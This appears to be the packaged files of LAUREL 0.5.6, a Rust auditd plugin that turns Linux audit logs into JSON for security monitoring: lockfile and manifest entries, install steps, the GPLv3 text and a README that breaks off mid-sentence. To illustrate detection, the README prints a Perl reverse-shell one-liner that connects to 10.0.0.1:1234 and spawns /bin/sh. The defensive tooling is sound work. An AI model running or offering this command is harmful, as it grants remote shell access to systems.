"windows_aarch64_msvc 0.52.0", "windows_i686_gnu 0.52.0", "windows_i686_msvc 0.52.0", "windows_x86_64_gnu 0.52.0", "windows_x86_64_gnullvm 0.52.0", "windows_x86_64_msvc 0.52.0", ] [[package]] name = "windows_aarch64_gnullvm" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] name = "windows_aarch64_gnullvm" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" [[package]] name = "windows_aarch64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] name = "windows_aarch64_msvc" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" [[package]] name = "windows_i686_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] name = "windows_i686_gnu" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" [[package]] name = "windows_i686_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] name = "windows_i686_msvc" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" [[package]] name = "windows_x86_64_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] name = "windows_x86_64_gnu" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" [[package]] name = "windows_x86_64_gnullvm" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] name = "windows_x86_64_gnullvm" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" [[package]] name = "windows_x86_64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] name = "windows_x86_64_msvc" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" laurel-0.5.6/Cargo.toml0000644000000042500000000000100103270ustar # THIS FILE IS AUTOMATICALLY GENERATED BY CARGO # # When uploading crates to the registry Cargo will automatically # "normalize" Cargo.toml files for maximal compatibility # with all versions of Cargo and also rewrite `path` dependencies # to registry (e.g., crates.io) dependencies. # # If you are reading this file be aware that the original Cargo.toml # will likely look very different (and much more reasonable). # See Cargo.toml.orig for the original contents. [package] edition = "2021" rust-version = "1.56" name = "laurel" version = "0.5.6" authors = [ "Hilko Bengen ", "Sergej Schmidt ", ] description = "Transform Linux Audit logs for SIEM usage" homepage = "https://github.com/threathunters-io/laurel" readme = "README.md" keywords = [ "linux", "audit", "parser", "log", "json", ] categories = ["encoding"] license = "GPL-3.0-or-later" repository = "https://github.com/threathunters-io/laurel" [[bench]] name = "coalesce_execve" harness = false [[bench]] name = "parse" harness = false [dependencies.anyhow] version = "1" [dependencies.exacl] version = ">= 0.6" [dependencies.faster-hex] version = "0.9" [dependencies.getopts] version = "0.2" [dependencies.indexmap] version = "2" features = ["serde"] [dependencies.lazy_static] version = "1" [dependencies.libc] version = "0.2" [dependencies.log] version = "0.4" [dependencies.nix] version = "0.26" [dependencies.nom] version = "7" [dependencies.regex] version = "1" [dependencies.serde] version = "1" features = ["derive"] [dependencies.serde_json] version = "1" features = ["preserve_order"] [dependencies.signal-hook] version = "0.3" [dependencies.simple_logger] version = ">= 1" [dependencies.syslog] version = "6" [dependencies.thiserror] version = "1" [dependencies.tinyvec] version = "1" features = ["alloc"] [dependencies.toml] version = "0.5" [dev-dependencies.bencher] version = "0" [dev-dependencies.gperftools] version = "0" [build-dependencies.bindgen] version = ">= 0.60" [features] default = ["procfs"] procfs = [] [target."cfg(target_os = \"linux\")".dependencies.caps] version = "0.5" [badges.maintenance] status = "actively-developed" laurel-0.5.6/Cargo.toml.orig000064400000000000000000000023761046102023000140170ustar 00000000000000[package] name = "laurel" version = "0.5.6" authors = ["Hilko Bengen ", "Sergej Schmidt "] edition = "2021" rust-version = "1.56" description = "Transform Linux Audit logs for SIEM usage" homepage = "https://github.com/threathunters-io/laurel" repository = "https://github.com/threathunters-io/laurel" license = "GPL-3.0-or-later" keywords = ["linux", "audit", "parser", "log", "json"] categories = ["encoding"] [badges] maintenance = { status = "actively-developed" } [dependencies] nom = "7" lazy_static = "1" getopts = "0.2" serde = { version = "1", features = ["derive"] } serde_json = { version = "1", features = ["preserve_order"] } indexmap = { version = "2", features = ["serde"] } toml = "0.5" nix = "0.26" libc = "0.2" exacl = ">= 0.6" regex = "1" signal-hook = "0.3" tinyvec = { version = "1", features = ["alloc"] } log = "0.4" simple_logger = ">= 1" syslog = "6" thiserror = "1" anyhow = "1" faster-hex = "0.9" [target.'cfg(target_os = "linux")'.dependencies] caps = "0.5" [build-dependencies] bindgen = ">= 0.60" [dev-dependencies] bencher = "0" gperftools = "0" [features] procfs = [] default = ["procfs"] [[bench]] name = "coalesce_execve" harness = false [[bench]] name = "parse" harness = false laurel-0.5.6/Dockerfile000064400000000000000000000003031046102023000131060ustar 00000000000000FROM gcr.io/distroless/static-debian11 COPY laurel /usr/bin/laurel COPY etc/laurel/config.toml /etc/laurel/config.toml ENTRYPOINT ["/usr/bin/laurel"] CMD ["--config", "/etc/laurel/config.toml"] laurel-0.5.6/INSTALL.md000064400000000000000000000056201046102023000125530ustar 00000000000000# _LAUREL_ installation instructions ## Either build from source… _LAUREL_ is written in Rust. To build it, a reasonably recent Rust compiler is required, we currently use 1.56 for development. Also: - `cargo` - `clang` - the `libacl` library and its header files (Debian: `libacl1-dev`, RedHat: `libacl-devel`, Alpine: `acl-dev`) Build binary, install: ``` console $ cargo build --release $ sudo install -m755 target/release/laurel /usr/local/sbin/laurel ``` ## …or use one of the provided binaries For tagged releases, two types of binaries are created: - a statically-linked, [musl-libc](https://musl.libc.org) version, built on Alpine 3.16, - a dynamically-linked version based on an older version of GNU libc, built on CentOS 7. The static build lacks the ability to perform user and group lookups using the _nsswitch_ facility used on GNU-libc-based systems, therefore it should be avoided on systems where other user/group databases than local `/etc/passwd` and `/etc/group` files are used (cf. issue #84). The provided binaries are built using Github's CI mechanism. See `.github/workflows/` for details. Extract binary, install: ``` console $ tar xzf laurel-$FLAVOR.tar.gz laurel $ sudo install -m755 laurel /usr/local/sbin/laurel ``` ## Set up _auditd_ to use _LAUREL_ and configure _LAUREL_ itself - Create a dedicated user, e.g.: ``` console $ sudo useradd --system --home-dir /var/log/laurel --create-home _laurel ``` - Configure _LAUREL_: Copy the provided annotated [example](etc/laurel/config.toml) to `/etc/laurel/config.toml` and customize it. - Register _LAUREL_ as an _auditd_ plugin: Depending on your _auditd_ version, copy the provided [example](etc/audit/plugins.d/laurel.conf) to - `/etc/audit/plugins.d/laurel.conf` for _auditd_ 3 - `/etc/audisp/plugins.d/laurel.conf` for _auditd_ 2 - If you are running SELinux, compile the provided policy and install it into the running kernel: ``` console $ make -C contrib/selinux $ sudo semodule -i contrib/selinux/laurel.pp $ sudo restorecon -v -R -F /usr/local/sbin/laurel /etc/laurel /var/log/laurel ``` - Tell _auditd(8)_ to re-evaluate its configuration: ``` console $ sudo pkill -HUP auditd ``` - Check that _LAUREL_ running. On _systemd_-enabled systems, the _LAUREL_ binary should be part of the control group corresponding to the _auditd_ service: ``` console $ sudo systemctl status auditd.service […] CGroup: /system.slice/auditd.service ├─ 277780 /sbin/auditd └─1113756 /usr/local/sbin/laurel --config /etc/laurel/config.toml […] ``` ## Test, Debug For debugging and other testing purposes, _LAUREL_ can be run without specifying any configuration file. It will then not change users and read events from standard input, just as it would when called from _auditd_. Log entries are written to `audit.log` in the current working directory. laurel-0.5.6/LICENSE000064400000000000000000001045131046102023000121310ustar 00000000000000 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . laurel-0.5.6/README.md000064400000000000000000000062641046102023000124070ustar 00000000000000![logo](laurel.svg) # Linux Audit – Usable, Robust, Easy Logging [![Build Status](https://github.com/threathunters-io/laurel/actions/workflows/build.yml/badge.svg)](https://github.com/threathunters-io/laurel/actions/workflows/build.yml) LAUREL is an event post-processing plugin for _auditd(8)_ that generates useful, enriched JSON-based audit logs suitable for modern security monitoring setups. Documentation corresponding to the latest stable release can be found [here](https://github.com/threathunters-io/laurel/tree/v0.5.6). ## Why? TLDR: Instead of audit events that look like this… ``` type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742… ``` …_LAUREL_ turns them into JSON logs where the mess that attackers/penetration testers/red teamers are trying to make becomes apparent at first glance: ``` { … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …} ``` This happens at the 